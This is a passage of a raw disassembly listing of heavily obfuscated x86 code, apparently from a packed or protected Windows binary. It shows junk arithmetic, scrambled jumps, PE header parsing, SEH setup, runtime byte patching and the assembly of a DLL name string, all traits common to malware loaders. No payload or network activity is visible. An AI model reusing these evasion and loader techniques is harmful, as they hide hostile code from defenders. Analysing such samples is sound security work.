; FUNCTION CHUNK AT 004286F1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00428B34 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428CAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428DA6 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00429008 SIZE 00000008 BYTES

		call	sub_4279ED
		push	eax


loc_425BD8:				; CODE XREF: sub_428249:loc_427632j
		ror	eax, 0Bh
		call	sub_425F93


loc_425BE0:				; CODE XREF: hjohnhn9:loc_426344j
		jz	loc_427951
		jmp	loc_424517
sub_425BD2	endp

; ---------------------------------------------------------------------------
		not	esi
		jmp	sub_428788

; =============== S U B	R O U T	I N E =======================================



sub_425BF2	proc near		; CODE XREF: sub_427C9B-AF7p
					; hjohnhn9:00427AE6j

var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00425B48 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00427260 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004281A3 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004290BA SIZE 00000015 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4260A9
		jmp	loc_427260
sub_425BF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_425C05:				; CODE XREF: sub_426354:loc_428388j
		mov	eax, [ebp-1Ch]
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]


loc_425C11:				; CODE XREF: sub_4262C5:loc_428B67j
		or	eax, edx
		jmp	loc_427927
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_425C18:				; CODE XREF: sub_42355C+28BFj
		sbb	ebx, 51ADD596h


loc_425C1E:				; CODE XREF: sub_42355C:loc_425C40j
		call	sub_424877
		mov	edx, 0F75CA70h
		call	sub_4279ED
		push	eax
		jmp	loc_428542
; END OF FUNCTION CHUNK	FOR sub_42355C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_425C33:				; CODE XREF: sub_426F5A:loc_42365Dj
		push	edx
		mov	edx, eax
		call	sub_42362A
; END OF FUNCTION CHUNK	FOR sub_426F5A
; START	OF FUNCTION CHUNK FOR sub_427AC0


loc_425C3B:				; CODE XREF: sub_427AC0-33A9j
		jmp	loc_4283A1
; END OF FUNCTION CHUNK	FOR sub_427AC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_425C40:				; CODE XREF: sub_42355C:loc_424E9Fj
		jz	loc_425C1E
		jmp	loc_425E06
; END OF FUNCTION CHUNK	FOR sub_42355C

; =============== S U B	R O U T	I N E =======================================



sub_425C4B	proc near		; DATA XREF: hjohnhn9:00423B7Ao

var_4		= dword	ptr -4

		xchg	eax, [esp+0]
		push	1E9165C3h
		xchg	ebp, [esp+4+var_4]
sub_425C4B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424698


loc_425C56:				; CODE XREF: sub_424698+4554j
		mov	ebx, ebp
		pop	ebp
		and	ebx, 0DFC7110Fh
		add	ebx, 0E17EFEFDh
		jmp	loc_423928
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
		test	ecx, ebp
		jmp	loc_42487D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		xor	ecx, 95DB5AA9h
		jmp	sub_423FB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_425C7D:				; CODE XREF: sub_42363F:loc_4279BBj
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_428B18
		or	eax, eax
		jnz	loc_426FC7
		jmp	loc_424860
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------


loc_425C93:				; CODE XREF: hjohnhn9:00423DCAj
		mov	ebp, 13519D39h

; =============== S U B	R O U T	I N E =======================================



sub_425C98	proc near		; CODE XREF: sub_425E5A+5p

; FUNCTION CHUNK AT 004264F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042877D SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	ecx
		mov	ecx, eax
		jmp	loc_4264F0
sub_425C98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	[esi], eax
		jmp	sub_425F93
; ---------------------------------------------------------------------------
		ror	edi, 4
		jmp	sub_428965

; =============== S U B	R O U T	I N E =======================================



sub_425CB3	proc near		; CODE XREF: hjohnhn9:004250EAj
					; sub_425BF2+34D2p

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 004232E6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042383A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004240D4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004244B2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004267AC SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00427860 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427B97 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	0CE0AB7D1h
		xchg	edx, [esp+0]
		mov	ecx, edx
		pop	edx


loc_425CC2:				; CODE XREF: hjohnhn9:00424BBFj
		rol	ecx, 1Fh
		xor	ecx, 18FAA417h
		jmp	loc_4232E6
sub_425CB3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4275A3


loc_425CD0:				; CODE XREF: sub_4275A3-1459j
		sub	ebp, ebx


loc_425CD2:				; CODE XREF: sub_4275A3:loc_426139j
		push	offset loc_424DB0
		jmp	loc_4231A8
; END OF FUNCTION CHUNK	FOR sub_4275A3
; ---------------------------------------------------------------------------


loc_425CDC:				; CODE XREF: hjohnhn9:00427530j
		push	eax
		ror	eax, 14h
		mov	ds:dword_4233AC, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_425CE7:				; CODE XREF: hjohnhn9:loc_425066j
					; sub_427564+13A8j
		rol	eax, 14h
		push	esi
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423753


loc_425CF5:				; CODE XREF: sub_423753+Ej
		jnz	loc_428BAC
		jmp	loc_427229
; END OF FUNCTION CHUNK	FOR sub_423753
; ---------------------------------------------------------------------------


loc_425D00:				; CODE XREF: hjohnhn9:00428C35j
		or	eax, 8F41505Eh
		xor	eax, 2EDC8CBBh
		and	eax, 600A4B87h
		add	eax, 0A0382512h
		popf
		xchg	eax, [esp]
		jmp	sub_4279ED
; ---------------------------------------------------------------------------
		push	ebx
		jmp	loc_424F1A

; =============== S U B	R O U T	I N E =======================================



sub_425D27	proc near		; CODE XREF: sub_42325E+2p
					; hjohnhn9:00423FA1j

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		ror	eax, 9
		mov	ds:dword_428394, eax
		retn
sub_425D27	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_425D38:				; CODE XREF: sub_427486+6j
		jmp	loc_4271F2
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_425D3D:				; CODE XREF: sub_42466E+1DD6j
		jmp	loc_424BD9
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42351F


loc_425D42:				; CODE XREF: sub_42351F+7j
		jmp	nullsub_13
; END OF FUNCTION CHUNK	FOR sub_42351F

; =============== S U B	R O U T	I N E =======================================



sub_425D47	proc near		; DATA XREF: hjohnhn9:00427691o
		add	eax, 2
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-0Ch]
		call	sub_4241E1
sub_425D47	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4266B5


loc_425D55:				; CODE XREF: sub_4266B5+4j
		jmp	loc_428A6C
; END OF FUNCTION CHUNK	FOR sub_4266B5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_61. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_425D5B:				; CODE XREF: sub_425BD2+31EBj
		jmp	loc_427306
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------


loc_425D60:				; CODE XREF: hjohnhn9:00427696j
		jmp	locret_427BB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_425D65:				; CODE XREF: sub_426F5A+9j
		jmp	loc_426BA8
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------


loc_425D6A:				; CODE XREF: hjohnhn9:00423B7Fj
		jmp	locret_423F20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_425D6F:				; CODE XREF: sub_4265CD:loc_427FB5j
		jl	loc_4235F0
		push	ebp
		jmp	sub_423AAF
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4236A7


loc_425D7B:				; CODE XREF: sub_4236A7:loc_423BF6j
		add	eax, 4
		mov	ebx, [eax]
		push	ebx
		push	9A5A1A01h
		jmp	loc_423087
; END OF FUNCTION CHUNK	FOR sub_4236A7
; ---------------------------------------------------------------------------
		pop	edx
		push	eax
		push	0C91257B9h
		sbb	edx, 3A6CB62Eh
		jmp	loc_4264B7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230E0


loc_425D9E:				; CODE XREF: sub_4230E0+Dj
		jmp	loc_42772C
; END OF FUNCTION CHUNK	FOR sub_4230E0
; ---------------------------------------------------------------------------


loc_425DA3:				; CODE XREF: hjohnhn9:00425EC0j
		jo	nullsub_98
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_425DA9:				; CODE XREF: sub_42466E:loc_42309Fj
		add	eax, 34A89E1h
		xchg	eax, [esp+0]
		jmp	loc_42797F
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427363


loc_425DB7:				; CODE XREF: sub_427363:loc_4270C0j
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1
		jmp	loc_427358
; END OF FUNCTION CHUNK	FOR sub_427363
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		add	eax, offset nullsub_2
		mov	byte ptr [eax],	0C3h
		jnb	loc_423515
		jmp	loc_42462C
; ---------------------------------------------------------------------------


loc_425DDE:				; CODE XREF: hjohnhn9:00427C94j
		jge	loc_42390D

; =============== S U B	R O U T	I N E =======================================



sub_425DE4	proc near		; CODE XREF: sub_426604+7p
		xchg	edx, [esp+0]
		pop	edx
		push	0D200AD3Ch
		jmp	loc_428129
sub_425DE4	endp

; ---------------------------------------------------------------------------


loc_425DF2:				; CODE XREF: hjohnhn9:004274B4j
		pop	ecx
		rol	ecx, 1Bh
		xor	ecx, 7A9DBC6Fh
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		jmp	loc_42327E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_425E06:				; CODE XREF: sub_42355C+26EAj
		jo	loc_42626A
		shr	eax, 1Ch
		adc	ecx, 0A57AE9C0h
		xor	ecx, 0F54B0178h
		jmp	loc_425C18
; END OF FUNCTION CHUNK	FOR sub_42355C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_425E20:				; CODE XREF: sub_425BD2-1CA9j
					; sub_426354:loc_427927j
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		and	eax, 0FFh
		mov	eax, ds:dword_4256DC[eax*4]
		call	sub_427B51


loc_425E3A:				; CODE XREF: sub_428829+Aj
		jmp	loc_425270
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------


loc_425E3F:				; CODE XREF: hjohnhn9:0042690Dj
		jmp	nullsub_119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244F5


loc_425E44:				; CODE XREF: sub_4244F5+617j
		jmp	loc_42681D
; END OF FUNCTION CHUNK	FOR sub_4244F5

; =============== S U B	R O U T	I N E =======================================



sub_425E49	proc near		; CODE XREF: sub_425EEA:loc_423E7Bp
					; hjohnhn9:00424A6Fj
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		push	offset sub_428CC9
		jmp	nullsub_14
sub_425E49	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E5A	proc near
		call	sub_4279ED
		call	sub_425C98
sub_425E5A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_423B05


loc_425E64:				; CODE XREF: sub_423B05+4B2Cj
		jmp	loc_427EE2
; END OF FUNCTION CHUNK	FOR sub_423B05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_425E69:				; CODE XREF: sub_426475-2F89j
		jmp	loc_42602D
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C09


loc_425E6E:				; CODE XREF: sub_426C09-35E4j
		xor	ecx, 3684023Fh
		xor	edi, 470493CFh
		cmp	ecx, 0E7563046h
		jmp	loc_428F8E
; END OF FUNCTION CHUNK	FOR sub_426C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_425E85:				; CODE XREF: sub_4279C0:loc_42507Bj
		mov	ebx, esi
		xchg	ebx, [esp+0]
		push	eax
		pop	esi
		xchg	esi, [esp+0]
		jmp	loc_42446C
; END OF FUNCTION CHUNK	FOR sub_4279C0

; =============== S U B	R O U T	I N E =======================================



sub_425E94	proc near		; CODE XREF: hjohnhn9:0042633Ap
					; hjohnhn9:00426A24j

; FUNCTION CHUNK AT 0042673C SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	edx
		push	offset sub_428BCF
		jmp	loc_42673C
sub_425E94	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C4E


loc_425EA4:				; CODE XREF: sub_428C4E+22j
		jmp	loc_426894
; END OF FUNCTION CHUNK	FOR sub_428C4E

; =============== S U B	R O U T	I N E =======================================



sub_425EA9	proc near		; CODE XREF: hjohnhn9:loc_423815p
					; sub_425BD2:loc_4277E0j ...

; FUNCTION CHUNK AT 00424801 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004289C0 SIZE 00000005 BYTES

		mov	eax, cs
		xor	al, al
		or	eax, eax
		jmp	loc_4289C0
sub_425EA9	endp

; ---------------------------------------------------------------------------


loc_425EB4:				; CODE XREF: hjohnhn9:00428234j
		jnb	loc_4243D9
		test	ebp, 0EFCFED04h
		jmp	loc_425DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_425EC5:				; CODE XREF: sub_426354-17EAj
		mov	eax, 6
		sub	eax, [ebp-0Ch]
		mov	[ebp-0Ch], eax


loc_425ED0:				; CODE XREF: sub_424B4A:loc_42666Cj
					; sub_427805j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		jb	loc_426E12
		jmp	loc_424D6D
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------


loc_425EE4:				; CODE XREF: hjohnhn9:00426DEDj
		sbb	eax, 0C96DEF00h

; =============== S U B	R O U T	I N E =======================================



sub_425EEA	proc near		; CODE XREF: sub_427564+D08p

; FUNCTION CHUNK AT 00423E7B SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		pop	esi
		push	1Ch
		lea	eax, [ebp-34h]
		push	eax
		jmp	loc_423E7B
sub_425EEA	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_425EFB:				; CODE XREF: sub_423CDB+3ED1j
		jmp	loc_42869B
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_425F00:				; CODE XREF: sub_426354+2413j
		jge	loc_4275D2
; END OF FUNCTION CHUNK	FOR sub_426354
; START	OF FUNCTION CHUNK FOR sub_427DE6


loc_425F06:				; CODE XREF: sub_427DE6+1Fj
		jmp	loc_426449
; END OF FUNCTION CHUNK	FOR sub_427DE6
; ---------------------------------------------------------------------------
		push	0E2CE79D4h
		jmp	loc_4275CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_425F15:				; CODE XREF: sub_426A78-2D29j
		jle	loc_424E99


loc_425F1B:				; CODE XREF: sub_426A78:loc_423D47j
		or	eax, 4D94C7ABh
		rol	eax, 10h
		add	eax, 188315A2h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_428510
		jmp	loc_427436
; END OF FUNCTION CHUNK	FOR sub_426A78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_425F3A:				; CODE XREF: sub_427852+8j
		jmp	loc_428319
; END OF FUNCTION CHUNK	FOR sub_427852

; =============== S U B	R O U T	I N E =======================================



sub_425F3F	proc near		; DATA XREF: sub_4290CF-215Co

; FUNCTION CHUNK AT 00423456 SIZE 00000005 BYTES

		dec	dword ptr [ebp-24h]
		jnz	loc_42885B
		jmp	loc_423456
sub_425F3F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_425F4D:				; CODE XREF: sub_4265CD-3096j
		rol	eax, 17h
		push	esi
		mov	esi, edi
		xchg	esi, [esp+0]
		jmp	loc_4232EB
; END OF FUNCTION CHUNK	FOR sub_4265CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_425F5B:				; CODE XREF: sub_4279C0:loc_4249D7j
		mov	edi, ecx
		xchg	edi, [esp+0]
		push	0FFFFFFF1h
		call	sub_42472D
		push	ebx
		jmp	loc_42507B
; END OF FUNCTION CHUNK	FOR sub_4279C0
; ---------------------------------------------------------------------------

locret_425F6D:				; CODE XREF: hjohnhn9:004266F8j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_425F6E:				; CODE XREF: hjohnhn9:00423165j
					; sub_423BC3:loc_427825j
		jmp	loc_4241BE
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
		jbe	loc_42497C
		rol	ecx, 17h
		jmp	sub_42645D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_425F81:				; CODE XREF: sub_425BD2:loc_427028j
		jns	loc_423082
		jmp	loc_4277E0
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
		sub	esi, edx
		jmp	loc_423B04

; =============== S U B	R O U T	I N E =======================================



sub_425F93	proc near		; CODE XREF: sub_425BD2+9p
					; hjohnhn9:00425CA6j
		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:dword_423950, eax
		retn
sub_425F93	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_425F9E:				; CODE XREF: sub_424819+26C7j
		jmp	loc_426A03
; END OF FUNCTION CHUNK	FOR sub_424819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42859A


loc_425FA3:				; CODE XREF: sub_4248B1j sub_42859A+6j
		rol	eax, 0Bh
		push	eax
		call	sub_4244F5
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_42859A
; ---------------------------------------------------------------------------


loc_425FB1:				; CODE XREF: hjohnhn9:00424DD2j
		mov	byte ptr [eax],	0C3h
		call	nullsub_1
		call	nullsub_117
		call	nullsub_119
		mov	dword ptr [ebp-4], 1
		mov	eax, 0
		or	eax, eax
		jz	loc_4239D3
		jmp	loc_4281D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4251EB


loc_425FDC:				; CODE XREF: sub_4251EB:loc_4283BAj
		jz	loc_4232DA
		push	5CCB0B2Eh
		jp	loc_424954
		jmp	loc_4232D1
; END OF FUNCTION CHUNK	FOR sub_4251EB
; ---------------------------------------------------------------------------
		jnb	sub_4283C9
		cdq
		jmp	sub_423E64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4238CC


loc_425FFE:				; CODE XREF: sub_4238CC+1Aj
		add	eax, 3960E5C1h
		add	eax, ebp
		add	eax, 43C7FE34h
		mov	eax, [eax]
		xor	edx, eax
		pop	eax
		add	edx, 2
		jmp	loc_423F45
; END OF FUNCTION CHUNK	FOR sub_4238CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_426019:				; CODE XREF: sub_426671+Fj
		pop	ebp
		mov	eax, ds:dword_428B04
		or	eax, eax
		jnz	loc_428551
		jmp	loc_427895
; END OF FUNCTION CHUNK	FOR sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426475


loc_42602D:				; CODE XREF: sub_426475:loc_425E69j
		xchg	eax, [esp+4+var_4]
		push	7CD0134Eh
		pop	ecx
		xor	ecx, 749589EAh
		rol	ecx, 5
		jmp	loc_427EA1
; END OF FUNCTION CHUNK	FOR sub_426475
; ---------------------------------------------------------------------------
		pop	ebp
		jmp	loc_427C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_42604A:				; CODE XREF: sub_4260BD+26Aj
		shr	eax, 15h
		test	edx, ecx
		jmp	loc_426D8C
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_426054:				; CODE XREF: sub_424161+30A2j
		adc	eax, 0D6D0B437h


loc_42605A:				; CODE XREF: sub_424161+438j
		xor	edx, 136ECA97h
		add	edx, 131DE3E6h
		add	edx, ebp
		add	edx, 78F92151h
		mov	[edx], eax
		pop	edx
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_425BB8
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42355C


loc_42607D:				; CODE XREF: sub_42355C:loc_42743Bj
		sub	eax, 6611ACDCh
		add	eax, 4874857Dh
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_428551
		jmp	loc_424E9F
; END OF FUNCTION CHUNK	FOR sub_42355C

; =============== S U B	R O U T	I N E =======================================



sub_426098	proc near		; CODE XREF: hjohnhn9:00423006j
					; sub_427805+6p

arg_0		= dword	ptr  4

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, 6
		sub	eax, [ebp-4]
		call	sub_424181


loc_4260A9:				; CODE XREF: sub_425BF2+8j
					; sub_42841F+Cj ...
		mov	edx, [esp-4+arg_0]
		mov	al, 1
		call	edx
		xor	eax, eax
		retn
sub_426098	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426CC8


loc_4260B3:				; CODE XREF: sub_426CC8+1A10j
		jmp	sub_427AEB
; END OF FUNCTION CHUNK	FOR sub_426CC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_4260B8:				; CODE XREF: sub_42304F+21j
					; sub_423444+3CB0j
		jmp	loc_424218
; END OF FUNCTION CHUNK	FOR sub_42304F

; =============== S U B	R O U T	I N E =======================================



sub_4260BD	proc near		; CODE XREF: sub_426475:loc_4234D8p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423A50 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00423BF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00423CA1 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0042409B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042497B SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00424A12 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424DB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042604A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426325 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00426D8C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00426E4D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426EE5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427431 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042763E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00427714 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042794A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004282E4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428337 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042873A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429032 SIZE 0000000C BYTES

		push	edi
		jmp	loc_42873A
sub_4260BD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_4260C3:				; CODE XREF: sub_427C9B:loc_427CB9j
		mov	esi, 0C4B77320h
		jmp	loc_4289DB
; END OF FUNCTION CHUNK	FOR sub_427C9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F85


loc_4260CD:				; CODE XREF: sub_426F85+Ej
		cmp	dword ptr [ebp-4], 0
		jz	loc_428EEB
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_428D00
; END OF FUNCTION CHUNK	FOR sub_426F85
; ---------------------------------------------------------------------------


loc_4260EA:				; CODE XREF: hjohnhn9:004251A2j
		sub	esi, 329C18AFh
		xor	esi, 91F0F70Bh
		xchg	esi, [esp]
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_4260F9:				; CODE XREF: sub_423BC3+53F7j
		mov	eax, [ebp-8]
		push	ebp
		jmp	loc_424FE3
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------


loc_426102:				; CODE XREF: hjohnhn9:004266DEj
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-20h]
		mov	byte ptr [eax],	6Ch
		inc	dword ptr [ebp-20h]
		jmp	loc_428621
; ---------------------------------------------------------------------------


loc_426116:				; DATA XREF: sub_426523+1F40o
		inc	dword ptr [ebp-10h]
		push	offset loc_426F35
		jmp	locret_424EBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_426123:				; CODE XREF: sub_427486:loc_427292j
					; hjohnhn9:004272AEj
		and	edx, 6A6446A1h
		test	edx, 20000h
		jmp	loc_423246
; END OF FUNCTION CHUNK	FOR sub_427486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4275A3


loc_426134:				; CODE XREF: sub_4275A3:loc_42686Bj
		call	sub_4230E0


loc_426139:				; CODE XREF: sub_426638:loc_427F44j
		jl	loc_425CD2
		sbb	edx, 0F41EDE25h
		push	0B42397E8h
		jmp	loc_425CD0
; END OF FUNCTION CHUNK	FOR sub_4275A3
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_426150:				; DATA XREF: sub_427C9B+9Do
		push	0D5915632h
		pop	eax
		sub	eax, 1B5FE3AFh
		xor	eax, 667D6B26h
		add	eax, 9C500B56h
		add	eax, ebp
		add	eax, 8763DAF1h
		push	edi
		jmp	loc_428C28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_426176:				; CODE XREF: sub_427C9B+8FAj
		jge	loc_4238AA
		xchg	ebp, [esi]
		jmp	loc_424F76
; END OF FUNCTION CHUNK	FOR sub_427C9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_426184:				; CODE XREF: hjohnhn9:00426B4Fj
		jmp	loc_4244EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282F8


loc_426189:				; CODE XREF: sub_4282F8-3B09j
		jmp	loc_425BC8
; END OF FUNCTION CHUNK	FOR sub_4282F8
; ---------------------------------------------------------------------------
		dw 0C613h
		dd 95CA8157h, 0E978E918h, 0FFFFD55Eh
; ---------------------------------------------------------------------------


loc_42619C:				; CODE XREF: hjohnhn9:00426BA2j
		mov	eax, [ebp-1Ch]
		mov	al, [eax]
		mov	edx, [ebp-20h]
		mov	[edx], al
		jmp	loc_4266CC
; ---------------------------------------------------------------------------
		sbb	edi, 0ABCEEB72h
		add	ecx, 3AE5C846h
